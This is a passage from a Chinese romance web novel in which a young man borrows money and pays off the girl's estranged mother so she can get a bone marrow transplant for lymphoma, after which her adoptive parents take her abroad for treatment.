他呼吸急促,嗓音透出无力的嘶哑。 “你要是再像上次那样,留张破纸条就偷偷走掉,我真的会疯掉。” 林杳心脏被割得疼,通红的眼眶看着他: “骨髓移植起码要三十万,你怎么一下弄得来这么多钱?我不想为了给她筹手术费,去铤而走险干更危险的活儿。” “而且那手术成功的几率很低,只有百分之五十,就像是抛硬币一样。” 在他去洗澡的时候,她拿着他教她变魔术的那枚硬币抛了三次,心里想的是国徽那面,结果三次扔出来的都是花。 很大可能她的手术也是这样,她注定会死,死神就是要收走她的命,闻野为她所做的一切都是覆水东流。 “就一枚破硬币,还能决定两条命的生死?”闻野气得咬牙,从她手里抢过那枚硬币恨不得扔了。 “两条命?”林杳湿漉漉的眼眸不解看向他。 闻野还在后怕中,气也没消,冷着张脸没好气地反问:“你是金鱼脑袋么,记性那么差,我那天跟你说的话忘得一干二净了?” 林杳扁了扁嘴,努力回想起来,她偷偷离开又被他找到扛回去的那天,他对她说了好多话,其中有句是:只有她活着,他才能好好活。 “你、你别那么想。”她泪眼巴巴的,试着开解他:“就算我不在了,你身边还有好朋友,一辈子那么长,再深的难过,时间都会治愈的。” 他现在才十九岁,等到二十九岁,就是十年了,足够他忘记她,重新喜欢上别的女孩子。 闻野嗤地笑一声,否认她的话:“不可能治愈。” 他垂着黑眸睨她,早已决定的想法,说出来的声音稀松平常得仿佛只是说明早想吃什么一样:“只要你不在了,我扭头马上就去找你。” 林杳睁圆了眼,被震撼得一下说不出话。 闻野淡声道:“不然我肯定整天吃不下睡不着,就日日夜夜提心吊胆地想,万一真的死后还有另一个世界,你胆子小又爱哭,人又瘦瘦的没二两力,一个人无依无靠在那边,那些孤魂野鬼可劲的都跑来欺负你怎么办?” “我可不像有些人那么言而无信。”他掀了掀唇,还不忘讽刺她一句,“那天从车站回来答应得我好好的事,现在又想反悔。” “我说过的,你叫我一声哥哥,我就得护着你。这句话,生前死后都作数。” “活着,不能让坏人欺负你,在另一个世界也不能让你被孤魂野鬼欺负了去。” 第38章 第三十八章 绑着你睡觉我才安心 闻野低眸睨着她, 继续缓声开口:“我早就说过,钱的事你不用操心,我先去借, 我也认识一些人……” 林杳被他的声音拉回神, 唇瓣动了动想说什么, 但闻野没给她这个机会,他抢先一步道:“就算利息再高, 只要我还得起就没事。” 这一晚上闻野在心里把钱的问题盘算过几遍,这会儿和她谈起很熟练,嗓音沉稳道:“我现在纹身店每个月一万五的收入没问题,加上偶尔能接到的高空作业的活儿,又多个七八千的收入,加起来就是两万二三。三十万哪怕加上二十万利息也就是五十万,抛去每个月吃穿用度,你算算,我是不是最多三四年也就还清了?” 林杳在心里过了一遍账,点了点头,下一秒脸又皱起来:“可是做了手术成功的概率也很低……” 她怕他最后人财两空, 更难受的是还要再经历一次希望破灭。 “做了还有百分之五十希望,不做希望是零。”闻野站着的人朝她低了低身, 背脊躬得很深, 几乎和坐在床上的她保持视线平视, 像是一个祈求的姿态, 语气又像是哄孩子似的。 “你再勇敢一次好不好?”他黑漆漆的眼眸看着她:“不管输赢, 生或者死,我都会陪着你。” 林杳泪如雨下,哭着点头:“好。” 闻野在床边坐下, 拿纸给她擦,一张纸湿了又抽了一张,小姑娘越哭越凶。 最后没法子了,他拿大掌捧着起她脸颊,拇指指腹揩着脸颊的泪珠,玩笑的语气逗她:“你是条小美人鱼么,怎么这么会掉珍珠啊。” 林杳遗憾地皱起鼻子,瓮声瓮气道:“我是美人鱼就好了,掉的眼泪都能变成珍珠去换钱了。” 那她天天在家哭就好了,根本不用闻野去吃苦受累,拼命地为她赚看病的钱。 “能换钱也不要你哭。”闻野并不高兴她这心愿:“用我的力气,汗和血去换钱都行,就是不能用你的眼泪。” 好不容易把人哄得止住了泪,闻野去打来盆热水回来,用毛巾打湿后又拧干:“闭眼。” 林杳没徒劳地伸手说自己来,经验告诉她这样没用,她乖乖仰脸闭上眼睛。 闻野大手拿着小毛巾,动作轻柔小心地给她把哭得脏兮兮的小脸给擦干净了,然后对她说了句:“我出去一趟,很快回来。” 五分钟不到,他就又回来了,手里拿着根长长的毛线绳,走到床边,站着问她:“想要去上洗手间么 ?要去现在就去个。” 林杳眼尾还泛着红,茫然地摇头:“不想啊。” “行。”闻野点头,让她伸手,在她照做之后低头把那根绳子系在她手腕间,不会太紧勒到她,也不会松到让她能挣开。 打了好几个死结,接着将绳子另一边系到自己腕上,他眉骨抬了抬:“鉴于你言而无信又不知悔改,我得绑着你睡觉才能安心。” 林杳:“……” 她觉得好笑,心口又似被蜂蜜填得鼓涨涨的。 在医院待得久了,她见过了久病床前无孝子,丈夫抛弃为家操持多年的重病妻子,甚至连父母,都能抛弃刚出生,身体有问题的孩子。 也就闻野,不想着甩掉她这个沉重的包袱,还生怕她跑了。 都主动亲上了,林杳侧身朝着他那侧睡就没什么不好意思了,闻野也面向她,今晚没给她灌热水袋,怕过一两个小时又凉了。 “脚伸过来,贴着我的腿暖和。”他说。 林杳便把脚伸进他的被子,贴着他大腿那侧,彼此的手腕被根绳子相互牵扯着,谁也不能离开谁- 第二天下午回到平城,风尘仆仆的来不及休息片刻,闻野就得出去筹钱了。 他先给彭一凡打去电话,让他问他表妹彭思嘉是不是在家,知道她在家闲着没事后让她过来玩,又出去在路口的摊子买了些车厘子和草莓这些小姑娘爱吃的水果。 拿回来洗干净了,都摆在茶几上。 “我出去有点儿事,彭思嘉快到了,你们在家好好玩,等晚上我带你们出去吃火锅。” 林杳仰脸看向他,对他的意图一清二楚:“你喊彭思嘉来家里玩,是不是想让她监督我啊?” 闻野被戳穿了也不否认,眉梢扬了扬:“谁让你前科累累,屡教不改呢?” 要是再出现一次他回来,只剩下空无一人的房子和她写的那张破纸条,他真承受不住。 林杳被说得歉疚,脑袋往下低了低:“对不起,我太不让你省心了。” 闻野勾了勾唇,正儿八经的语气道:“没事儿,你全身上下也就这么个喜欢不告而别的这一个毛病了,等改正了就是完美无缺了。” 林杳脸颊又红起来。 又叮嘱了几句,闻野才出门,还没走出巷子,就碰到迎面而来彭思嘉,和一同来的彭一凡。 彭一凡嘿嘿笑道:“听说晚上有火锅吃我就来了,我带了新上映的美国大片来看,保证林杳妹妹喜欢。” 彭思嘉表情难掩嫌弃:“听到有口吃的你跑得比狗都快。” 闻野也不小气:“那晚上你把路安宇也叫过来一块儿吃,也谢谢你们帮我拉生意了。” 两人把他们学校里想要纹身的同学都介绍到他这儿了。 彭一凡挠头,有些不好意思起来:“哎哟谢啥,野哥你这话就见外了啊,咱们三什么关系嘛!” 闻野这趟出去找了之前来他店纹身的杜彪,由他牵线搭头,联系到他的老大,能借他十五万的人。 那人叫独眼龙,原先是道上混的,眼睛搞瞎了一只后洗手上岸,开了个KTV,也搞些借钱的生意做。 两人来到约定好的那间包房,闻野扫过借条上那高昂的利息,一点也没迟疑地拿起笔签名,拇指按着红泥盖上去。 独眼龙看他在借条签字画押,明明是想赚钱,还虚情假意地打感情牌:“我是听阿彪说你妹妹生了重病,很要钱用,我是感念你做哥哥的不容易,才借给你这么大一笔钱的。” 他话锋一转,又粗声放下狠话:“但你要是干些不地道的事,敢拿钱跑路,或者到期了不还钱,天涯海角我跟我弟兄们都一定找到你,到时候就是一条胳膊和一条腿了。” 闻野没任何犹豫,伸手拿过桌上那张银行卡揣进裤兜。 对上男人只剩一只的眼,他启唇笑了笑,神色坦荡无畏:“龙哥您放心,你担心的事不会发生,我胳膊和腿都还留着有大用。” 胳膊要背,要抱小姑娘,腿要陪着她走以后的路。 闻野驱车去银行取了一万现金,又去了赵美莺住的地方,骨髓配型很难,如果是陌生人,概率是几万甚至百万分之一。 到了那层楼,隔着门都能听到里面稀里哗啦的洗牌声,看来她这棋牌室还开着。 他叩了两下门,正好是赵美莺来开的。 见到是他,赵美莺眼里闪过一丝惧意和警惕,色厉内荏道:“你又来干嘛?那丫头片子走就走了,我索性就当没生过她的,我跟你们现在可是井水不犯河水的。” 闻野从前就很瞧不上这女人,虚伪自私贪婪刻薄,爱搬弄是非,又欺软怕硬,这些不好的品质在她身上比比皆是。 为了林杳的病,他第一次低头,姿态放得谦卑,第一次喊她赵姨:“有个事要和赵姨你商量,能出来谈谈么?” 赵美莺狐疑地打量起他,这少年什么时候有这么客气和她说话过啊,好奇他葫芦里卖的什么药,她走到楼道里,叉着腰问:“什么事啊?” “林杳一年前确诊得了淋巴瘤……” 没听他把话说完,赵美莺急吼吼地撇清责任:“是你之前说的啊,她和我没一点关系了,是生是死我都管不着!你可不能赖上我,这会儿让我给她拿钱看病,我可没有钱!” 闻野听得胸口冒火,忍着脾气道:“一分钱不用你拿,她之前做化疗又复发了,医生建议做骨髓移植手术,最好是有近亲捐献。” 还什么骨髓移植,听着就很吓人,赵美莺刚要一口回绝,就见少年把手里那个塞得鼓鼓的信封打开。 厚厚一沓鲜艳的红票子露了出来。 “你要同意了,这钱你拿去,当是感谢费,你拿去买营养品,补补身体。” 赵美莺眼睛直勾勾盯着那沓钱,很有些心动,她既想要这笔钱又怕对自己身体造成损伤,表情变得徘徊不定起来。 “还得从我骨头里抽骨髓啊,对我身体肯定也不好,万一手术台上再出个什么意外,那我命都没了。” 闻野知道她肯定不懂骨髓移植,来之前打印了资料,他拿给她看:“说是骨髓移植,其实是造血干细胞移植,也并不是从你的骨头里抽骨髓,医生通过给你的血管注射药物,把造血干细胞从骨髓弄到血管,再抽一管血就能获得造血干细胞。”【注】 “这种捐献对身体没很大损害,可能会出现一点不适感,基本之后都能恢复,你要是不相信我说的,之后反正也要去医院先做配型,你去问医生,也是一样的说法。” 赵美莺听他说完,又看了看如出一辙的资料,安心了许多,眼珠子一转道:“再怎么说也是个大手术呢,我最近年纪大了,身体虚弱多了,这一万块钱够买什么好补品啊,起码人参燕窝冬虫夏草都得炖上才够给我补的,你得给我三万才够。” 闻野早就料到她不是省油的灯,没那么容易满足,他点了点头:“先去做配型,配型成功了这一万给你,剩下的两万手术结束后给你。” 赵美莺没想到他这么爽快就答应了。 愣了几秒后,她还想继续狮子大开口,多敲他一笔。反正她那个女儿多有本事啊,把从前多冷心冷肺的一个少年都迷昏了头。 闻野深谙人心不足蛇吞象的道理,一次加价可以,再多了只会让滋生她的贪得无厌。 他睨着她,冷冷勾了勾唇,在她开口前一秒阴恻恻地声音提醒:“赵姨,凡事适可而止,狗逼急了还咬人呢。” 赵美莺被吓得闭了嘴,缩了缩脖子,随即又因自己的反应升起一股恼恨。 她好歹是长辈,这么多年在他一个小辈面前低三下四,他有给过自己一个好脸么?那明摆着的瞧不起当谁眼瞎呢! “好,三万就三万。”赵美莺决定借此机会出口憋了多年的恶气,她挺直了腰板大声道:“但当初你找了几个混混来我这儿找茬,让我跟她划清界限,多威风多狠啊。如今她生了病 ,你又想起我是她妈来了,你是不是太欺负人了?” 闻野黑眸平静看着她:“你想怎么样?” 赵美莺洋洋得意起来:“你给我跪下,好生地道个歉,我这个做长辈的就不跟你计较了。” 房子的防盗门半敞着,先前就有不少视线好奇往这里瞧,她这一大声嚷嚷,里面打麻将的人都停了下来,全看了过来。 男儿膝下有黄金,这是闻野很小就听过的一句话,他骨头硬,年少气盛时,和人打得头破血流也不肯低一下头。 然而和小姑娘的手术相比,万两黄金又算得了什么,别说弯一弯腿,废了一双腿他都在所不惜。 暮色四合,斜阳照进楼道里。 “赵姨,从前是我不懂事,你别和我计较。” 在赵美莺嚣张又解气的目光,和一众津津有味看好戏的视线中,他大掌攥紧成拳,手背筋鼓起。 却也双膝缓缓曲折,膝盖磕在了满是灰尘的水泥上,他抬头,黑眸直直望着一脸畅快的女人。 “说好了,明天早上你跟我去做配型。” 第39章 第三十九章 身体就想和他紧紧挨着 五点半, 闻野回到家,开门后客厅空无一人,热闹的声音不断从厨房传出来。 “彭一凡你行不行啊, 要你莴苣切片你切的是个墩子吧?” “你行那你来。” “哎呀, 刀这么锋利, 割我手了怎么办?而且我每次给你提意见,是让你改进的, 不是让你说说什么你行那你来,一点情商没有,怪不得你是只万年单身狗。” 彭思嘉吐槽完她哥,走到林杳旁边跟她一起研究怎么调蘸酱好吃。 闻野把钥匙扔在鞋柜上,走进了厨房:“怎么在家吃?” 彭一凡哼哼抱怨道:“彭思嘉这个娇气鬼说外面冷,懒得出门又不想排队等,就让我和老路两个大冤种冒着寒风坐两站公交去超市,又拎着两大袋食材冒冷风回来,手都给我们冻僵了。” 彭思嘉被指责也毫不心虚:“不然呢,你还想让我和杳杳两个柔弱的女孩子陪着你一起吹冷风吗,这点怜香惜玉的意识都没有, 你下辈子都找不到女朋友。” 彭一凡:“……” 就逮着他最脆弱的地方攻击是吧! 林杳每次听他们兄妹拌嘴都觉得好笑,她眼弯了弯:“思嘉, 你快来尝尝我加了小米辣的蘸料味道怎么样。” 她现在因为身体原因, 一点辣都碰不得。 闻野听了之后从彭一凡手里接过菜刀, 轻而易举地把莴苣切成薄薄的片, 摆盘装好, 又出去拿了电磁炉和煮锅搁客厅的餐桌上。 大家端着一盘盘食材出去,围了一圈坐,电磁炉开火, 等着番茄的锅底烧开。 闻野看向林杳,弯着唇角告诉她个好消息:“赵美莺答应了明天一早去医院做骨髓配型。” 几人闻言愣了愣,彭思嘉高兴地哎了声,笑得眉飞色舞:“太好了!” 林杳没想到他下午去找了赵美莺,她原本打算的是去公共库中匹配捐赠者的供体,因为她根本不抱希望赵美莺会给她捐赠。 “她怎么会同意的?”她看向闻野。 下跪的羞辱,和她试图贪婪地加价,闻野都没提,只说:“我拿了一万块钱过去当感谢费,她就同意了。” 彭一凡心直口快,愤懑地靠了一声:“世上还有这样的妈?亲生的女儿生了重病,最是用钱的时候,她倒好,不心疼也不着急,还趁机要钱!” 闻野眼神凉凉地瞥过去:“把你手边那盘牛百叶下进去。” 彭一凡捏着筷子往锅里下,还义愤填膺着,想说点什么,被一旁彭思嘉拿胳膊肘撞了撞。 “就你话最多。”彭思嘉是服了她哥这没眼力见的玩意儿了,他们这些局外人都觉得过分,何况林杳作为亲生女儿的呢,还在那儿一张破嘴瞎逼逼! 彭一凡这才注意到林杳黯淡的眼神,忙说对不起,林杳温吞地笑了笑:“没关系。” 本来就不是所有父母一定会爱孩子,赵美莺在他一出生就扔下她,又是十几年没见,本来就不可能对她有多少感情。 不过比起捐献的骨髓,有亲属关系的赵美莺和她配型成功的可能性要高得多,她答应了捐赠,她就能早点做手术,治愈的概率也更高。 路宇安挑起个别的话题,氛围又其乐融融起来,锅里咕噜咕噜冒着越来越多的泡泡,空气里弥漫着浓郁的番茄香气。 彭思嘉舀起两个煮好的牛肉丸,自己碗里放了一个,又分给林杳一个。 她不知道这是撒尿牛丸,直接一口咬下去,里面的汤汁飙溅出来,烫得她倒吸一口气,眼泪都要疼出来了。 彭思嘉立刻跑到茶几边,把嘴里的丸子吐进垃圾桶:“嘶嘶嘶烫死我了,彭一凡你怎么不跟我说买的是撒尿牛丸啊!你故意谋杀吧!” 彭一凡:“……” 窦娥是什么感觉他明白得透透的了。 几乎是同时,林杳咬了一口,也是不小心被烫到舌头,只是她坐在桌子最里边,走出去都不方便。 她还没来得及让彭思嘉把搁她那边的垃圾桶递过来,闻野手已经伸到了她下巴下方。 “吐我这儿。” 又沉声催促:“快点。” 林杳红着眼圈和脸脸照做,嘴巴张了张,吐到他的掌心。 闻野起身走到垃圾桶边,扔了后去厨房简单冲了下手,走回来后让她张嘴伸舌头:“我看看烫得厉不厉害。” 林杳脸颊更红,冲他仰起头张嘴,伸出嫩粉的舌头。 仔细检查完,闻野拧着的眉才松开,还好没被烫出水泡,这才又回到椅子坐下。 同为哥哥,彭一凡就做不到这步,这简直比照顾三岁闺女还要精细用心,他不由感慨:“要是有世上最好的哥哥投票,我一定投野哥一票。” 路安宇完全赞同:“那肯定,我举双手投票。” 早就看透了一切都彭思嘉:“……” 她也是无语,杳杳和闻野之间这么拉丝暧昧的氛围都看不出来,男的眼睛长着都是出气用的吗? 吃完喝完,几人一起把桌子收拾干净了,还有好些食材没煮,又放进冰箱里了。 闻野问彭一凡和路安宇买这些花了多少,摸出钱包要给他俩。他们还都是学生,还靠着父母给的生活费。 “不用不用。”两人各自拎起袋垃圾,脚底抹油似的跑走了。 彭思嘉跟着他俩一块儿出去,几人走了没多久,林杳收到她的消息,让她去看枕头底下。 林杳回到卧室,拿起枕头,看见一封红包,掌心捏着的手机随之震了下,是她长长两段消息。 彭思嘉:【杳杳,这是我这段时间在漫展cos赚的钱,不多,就几千块,我知道对你手术费用来说是杯水车薪,但也是我的一点心意,你先拿着用,你要是推辞就是一点也不把我当朋友!!我会生气的[气哼哼][气哼哼]~高三那年要不是你晚上总给讲题,还费心费力地给我整理笔记,我根本考不上二本,你可以说是我们全家的功臣了!!!】 彭思嘉:【杳杳你手术一定会成功早日康复的!!!我以后的四六级还要拜托你呢!!我以后婚礼还要你当伴娘呢!】 林杳感动得眼睛一阵酸,她和彭思嘉回完消息,拿着红包去找闻野,他站在客厅的沙发旁,低头拿着手机在看。 听到脚步声,他抬了抬头,见她眼眶红红地走过来忙问是怎么了。 林杳把手里的红包给他看,声音里带着浅浅鼻音:“思嘉偷偷塞我枕头底下的。” “巧了。”闻野笑了声,掀起沙发的垫子:“这也还有两个。” 林杳又看见了两封红包,闻野出声印证了她的猜想:“是彭一凡和路宇安他们偷偷放的。” 说着把手机给她看,三人的q.q群里,她看见他们的消息,一个是从父母那儿要的,本来准备换电脑的钱,一个是攒了好几 个月,本来是要给之前还没分的女朋友买项链的。 林杳眼眶更红了,心脏沉甸甸的满是感动,闻野揉了揉她头顶,声音温柔带笑:“你看,大家都希望你好好活着。” “我会很努力的,不会辜负你们的期望。”她极认真地保证。 闻野扯起唇笑嗯了声:“明天还要去医院配型,今晚早点洗澡睡觉,明早才有个好精神。” 林杳回房就去洗了澡,躺床上没一会儿,敲门声响起,不知道闻野找她还有什么事,她坐起身直接道:“你进来呀。” 闻野推开门进来,抱着床被子走到她床边:“你往里睡点,给我腾个位置。” 林杳愣了愣,在京市宾馆里,他们就是睡一张床的,可那会儿是她为了省房钱,现在在家又没这个必要。 而且他不是还让她今晚早点睡么,也不可能做什么啊…… 她乱七八糟地瞎想着,小脸渐渐绯红,下一秒就看到他松开的手掌心里的绳子,十分眼熟,就是昨晚在她手腕上系了一晚的! 闻野:“手伸给我。” 林杳不可思议地瞪了瞪眼,又略微不满,腮帮子鼓了下:“我都向你保证几次了,你怎么还不相信我啊?” 还要系着她怕她偷偷跑了。 难道从此以后她在他心里就是毫无诚信可言了嘛。 “我当然相信你。” 少年这么说着,宽阔的脊背朝她弯下,握起她搭在被子上的一只手腕,将绳子系了上去,身体力行地演绎了什么叫说一套做一套。 等系结实了,闻野才抬眸,对上少女不满的目光,他唇角牵起弧度,将刚没说完的话继续:“但凡事都有万一。” “万分之一的概率,也是我不敢去赌的。” 家里早装了地暖,隆冬深夜,外边天寒地冻,房间里也有十几二十度,然而闻野被子里还是伸进来两只不安分的小脚,贴着他大腿。 他微微诧异,抬眸看去。 “就,还是冷。”林杳脸颊红着,小声地睁眼说瞎话,心里也说不清为什么,身体就想和他紧紧挨着。 闻野看着耳朵尖都红透了的小姑娘,两只腿夹住她伸来的小脚,唇勾了勾道:“这样更暖和。” 林杳:“……” 是暖和多了,她身体都开始发热了。 第二天林杳和如约而至的赵美莺去医院做了配型,结果要等一个星期才出来。 除去借到的十五万,彭一凡他们三个拿来的八千,手头还剩的一万五,离手术费还差十二万七千。 等待着出结果的这一个星期闻野东奔西走,能找的关系全都能用上,好话说尽了,借条写了一张又一张,最后把那辆二手车又转手卖出,终于差不多凑齐了。 结果出来的那天,闻野和林杳一大早就去了医院,却被告知片子还没送来,还等继续等一会儿。 两人只得先在等候区的椅子坐下,越逼近结果的时刻越是紧张难熬,林杳心脏砰砰的,眼皮也不安生地跳了起来。 “我左眼皮一直跳。”她小声又有点慌张地和闻野说。 “左眼跳财你没听过么。”闻野挑起嘴角笑了:“说明是个好兆头,配型的结果一定是好的。” 林杳被安慰到了,过了不到一分钟,她小脸又皱起来,紧张道:“但刚才我右眼皮又跳了一下,这是不是不好的预兆啊。” 闻野神色一本正经起来:“这说明你昨晚没睡好。” 林杳“扑哧”笑了:“你怎么总有话说。” 等了半个多小时后,总算片子送过来了,她立刻过去拿,闻野走在她身后,拿纸擦干净拇指那儿抠出的血痕。 刚才过去的每一分每一秒,他面上维持着平静,心底焦灼不安的情绪早攀至顶峰,无处疏解,还不敢表现出来,怕加剧小姑娘本就紧张的情绪。 只能用疼痛来缓和一二。 万幸是结果是好的,配型成功,可以近期就做骨髓移植手术。 走出诊室,林杳兴高采烈打算把这个好消息先和彭思嘉分享,还没拿出手机,铃声先响了起来。 闻野听到配型成功后唇角就没压下去,听到铃声也看过去,亮起的屏幕闪烁着备注:爸爸。 他唇角一瞬拉直,表情也变得没那么好看。 自然不可能是小姑娘早八百年前就死了的生父,只能是把她扔下就不管不顾的那个养父了。 第40章 第四十章 那你要早点过来噢 林杳接着电话, 闻野牵起她的手去坐电梯,一直到走出医院,那通电话还没结束。 林杳几乎都是在听林钦文说。 说他们刚到英国时的境遇有多么艰难, 要在完全人生地不熟的地方从头开始, 重新创业, 还要一边带着几岁的沅沅四处做自闭症的康复治疗。 又听他说到现在情况终于都有所好转,沅沅能跟认识的人进行简单的交流了, 去学校念书了,公司的生意终于也再次走上正轨。 “我们前几天回了平城,把之前一些欠款结了。”电话那头,一直滔滔不绝的男人顿了顿,再开口时声音里带上了几分忐忑和恳求,“杳杳,你能出来和我和你妈妈吃个饭,见一面吗?” 林杳闻言犹豫了起来,没立刻答应,她不太想以现在的模样去见他们…… 林钦文把她这份迟疑当作是她还在怪他们,他深深叹息了声, 声音里的恳求又加重了几分:“杳杳,当年我和你妈妈真的是无能为力了, 不得已才会将你送走, 这几年我们都很挂念你, 尤其是你妈妈, 经常夜里翻着你的照片流眼泪。” 林杳没法再狠心说出拒绝的话来。 挂断电话, 听到闻野问她讲了什么,她就把电话里的这些大差不离地都说了。 闻野并不被那些话糊弄,听完眼皮垂了垂, 掩住眼底的一片嘲讽之色。 当初处境再怎么艰难不容易,他们一家三口就能选择出国,唯独把她撇下。她一个小姑娘,是能吃多少还是喝多少?怎么就成了必须舍弃的负担了呢。 更况且她那个亲妈一出生就把她扔掉了,用脚趾头想就知道再接回去,也不可能对她有多好。 还什么半夜翻看照片掉眼泪。 那怎么不再多想想,小姑娘生得这么漂亮,突然被送到一个完全陌生又不知底细的家里,万一遇上个人渣禽兽怎么办? “我去跟爸爸妈妈见面,你能陪着我去吗?”林杳歪仰着脑袋看向他问,有一点近乡情怯。 喊了十六年的父母,隔了几年不见,也变得有些生疏。 而眼前的少年,在朝夕相处间已经成为她最亲近的人,遇上任何事,都下意识想要依赖他。 “你这问的不是废话。”闻野挑着眉梢笑,捏了捏她手心,霸道强势道:“手术之前,你去哪儿我都得寸步不离地跟着。” 看着小姑娘弯起的眼角,闻野顿了顿,看着她问道:“你不怪他们当初抛下你?” 林杳没怎么思考,就摇了摇头:“如果不是他们当初领养我,我可能就被随便扔到街上或者送到孤儿院去了,能不能活下来都不一定,更不可能在人生的前十六年一直在一个温馨的家庭里长大。” “而且在被送走前我从没有一刻怀疑过我不是亲生的,这证明他们对我是真的很好。” 她生病之后脸瘦了很多,那双乌黑的杏眼就更显得大,闻野看着小姑娘认真又清澈的眼神,喉咙里溢出一声无奈的叹气。 “你好好的干嘛叹气呀?”林杳不解。 少年冷硬的眉宇间透出几分无奈,语气里带上了几分未雨绸缪的操心:“你怎么这么善良,以后遇上个坏人,被欺负得渣都不剩怎 么办?” “我遇到的人大多都是特别好的人啊。”林杳一双眼一眨不眨地望向他,嗓音软糯带着满满的信赖:“而且不是还有你在嘛。” 闻野弯了弯唇,放心了些。 也是,有他在,牛鬼蛇神都别想靠近她分毫。 中午,她和闻野比约好的时间提前一点去了餐厅,林钦文和沈怡来得更早。 坐着的沈怡脸上难掩激动,迫不及待地四处张望,突然眼睛一亮:“杳杳过来了,她比以前长高了啊!诶,身边怎么还有个男孩子呀,不会是她男朋友吧?” 等不及他们过来,她满脸笑容地朝两人走过去,林钦文也起身跟在她身侧一起过去。 西餐厅的光线昏暗,等走近看得更清楚了,沈怡脸上的笑容一僵,目光露出难以置信之色。 眼前的少女完全跟她记忆里的女儿判若两人。 原本一张漂亮的小脸唇红齿白的,还有着软乎乎的婴儿肥,现在瘦得可怕,脸色苍白憔悴,脸颊上一点肉都没有,那头乌黑柔顺的长发也变得枯糙了起来。 沈怡潸然泪下,一时说不出话来。 林钦文看得也红了眼眶,声音微哑地问:“杳杳,你是生病了吗?” 林杳喉咙也有些酸,闻野替她做了回答:“淋巴瘤,化疗后又复发,马上要做骨髓移植。” 林钦文和商场里的人打交道这么多年,怎会听不出少年平直声线里压根没隐藏的谴责和不满。 他确实问心有愧,当初就是他做出送走林杳的决定,后来也是他拦着妻子,不让她和女儿多联系。 怕妻子越联系越割舍不断。 他们那时经济正困难,精力也有限,一头顾着才起步的生意,一头顾着自闭症的儿子,又是借住在哥哥家,实在没法再把林杳接过去。 林钦文揽着妻子,叹息着看向林杳道:“来,我们过去坐下再说。” 菜陆续上齐,谁也没心情动一下筷子。 沈怡眼睛湿红,艰难问道:“杳杳你这病什么时候确诊的?” “去年一月份。”林杳回答,又抽了张纸递给她。 沈怡接过擦了擦眼泪:“你出来这么大的事,你怎么也不和我们说一声呢?” 林杳垂下眼睫,轻咬着唇不知如何作答,曾经身体健康的她都是个不得不送走的麻烦,何况生病之后呢。 林钦文慎重思索过后道:“杳杳,你把你妈妈叫出来,骨髓移植的风险很大,我们和她商量一下是不是到了非做不可的地步,有没有稍微温和的治疗方式。” 说完没等到林杳回答,她身旁那个长相冷峻的少年从鼻腔里发出嗤的一声,充满着嘲讽。 “你们以为她的死活赵美莺会有一点在乎么?” 在两人大惊失色的表情之下,林杳坦白道:“我高二那年的暑假就从她那里搬出去了,当时她在家里开麻将室,有个男的摸我,她没有管,还打了我一巴掌。” “之后我和她就一直没有联系,最近一次见面是因为我要骨髓移植,闻野拿了一万块钱去找她,她才答应给我做配型。” 林钦文和沈怡简直不敢相信自己听到的,震惊完之后沈怡要心疼死了,眼泪又止不住地掉下来:“杳杳你搬出来后怎么过的啊?” 那会儿她还没成年呢,又在读高中,根本没有赚钱养活自己的机会。 林杳感激又依赖的目光看向身旁的少年。 “是闻野收留了我,后来我生病,也是他一直花钱,陪我到医院化疗。” 林钦文和沈怡原本以为跟她一起来的这个跟着一起来的少年是她大学交的男朋友,可现在一听这话,又觉得不对。 “你是和杳杳的关系是……?”林钦文不确定地问闻野。 闻野目光直视过去:“她哥。” 沈怡要被愧疚压得喘不过气,说什么都要将林杳带回英国治疗,林钦文这回也赞成妻子的想法。 之前出于现实和理智的考量,他选择将林杳送回到赵美莺那里去,不代表他能舍得这个女儿。 他同样是养育了林杳十六年,听着她奶声奶气地喊他爸爸,见证她从那么一丁点小慢慢长大,越来越漂亮乖巧。 现在他们经济条件好起来了,而赵美莺的所作所为根本不配称之为妈,他们就该把女儿重新接回去,好好弥补他们这些年的亏欠。 两人希冀的目光看向林杳:“杳杳跟爸爸妈妈回英国好不好?” 林杳来见面之前没想到会这样,正怔然无措之间,耳边响起少年沉稳沙哑的嗓音。 “你跟着他们回去吧。” 林杳转过头看向他。 闻野对上少女惊诧又茫然,透出眷恋的眼眸,忍着心脏的抽疼,将要命的不舍从表情里剥离出去。 然后用深思熟虑之后冷静,坚定的声音对她道:“那边医疗技术更发达,手术成功率会更高。” 父母,闻野,曾经和现在对她来说最重要的三个人都替她做了决定,也都是为她好,她自己的想法倒没什么重要的了。 她的病情不容耽搁,越早治疗越好,沈怡查了查了最近一班的机票,就在三个时后。 林钦文回酒店拿行李,沈怡陪着林杳回家取护照,她的护照是几年前和他们去英国旅游办的,幸好还在有效期内。 时间太过紧急,她随便往行李箱装了几件衣服,别的也来不及多收拾了,就又要坐车往机场赶去。 出租一路疾驰。 就像之前被送走时那么突然,她被接回到父母身边也快得猝不及防,只不过当初是对父母和弟弟的不舍,如今不舍的对象变成了闻野。 到了机场的航站楼,沈怡去办理值机,林钦文去托运行李。 “我尽快把护照办好就过去找你。” 林杳听到闻野声音沙哑地向她保证。 隔着个大西洋,飞机都是十多个小时,这一年申请护照还不容易,要到处去跑,麻烦得很,他还会因为语音有各种不方便的地方…… 她现在并不是一个人,有妈妈爸爸陪在身旁,林杳觉得自己要是懂事点,就该说不用了。 可她还是任性地扑过去,紧紧抱住他。 她下巴抵在他宽阔的胸膛前,仰着小脸,湿漉漉的双眸不舍地望向他,嗓音里带着要哭了的鼻音:“那你要快点过来噢。” 说着一颗颗泪珠子就不争气地滚了下来。 闻野心都要被揉碎,后悔死自己没早有先见之明,早点办个护照,这样现在也就能跟一块儿过去。 “一定。”他声音喑哑郑重,拿指腹擦掉她颊边的泪。 沈怡和林钦文办好了手续回来。 沈怡见到这一幕也不觉得奇怪,还当闻野是赵美莺这边的亲戚,并不知道他和林杳没一点血缘关系,还觉得他们兄妹感情真好。 林钦文眼神犀利,看出一点不对劲的端倪。 “杳杳,我们要过安检了。”沈怡声音温柔道。 林杳只得恋恋不舍地松开搂着闻野腰的胳膊,沈怡看向少年的目光满是感激:“谢谢你之前一直照顾杳杳。” 林钦文也声音温和道:“以后你要遇上什么需要帮忙的,只管找我们,我们一定竭尽所能。” 闻野一直以来对这对父母都有很大的意见,然而现在也不得不把小姑娘交付给他们,只因他没能力,没法送她到国外治疗。 他低了低头,黑眸漆漆,看着林钦文:“我唯一一个请求,就是拜托你们照顾好她。” 他声音温和许多,难得带上小辈对长辈说话的谦恭,那也没一点办法,他的心肝宝贝都交到了人家手里。 林杳小手和他挥了挥。 走得一步三回头,直到那道高大挺拔的身影再也看不见,她才一万分舍不得地收回视线。 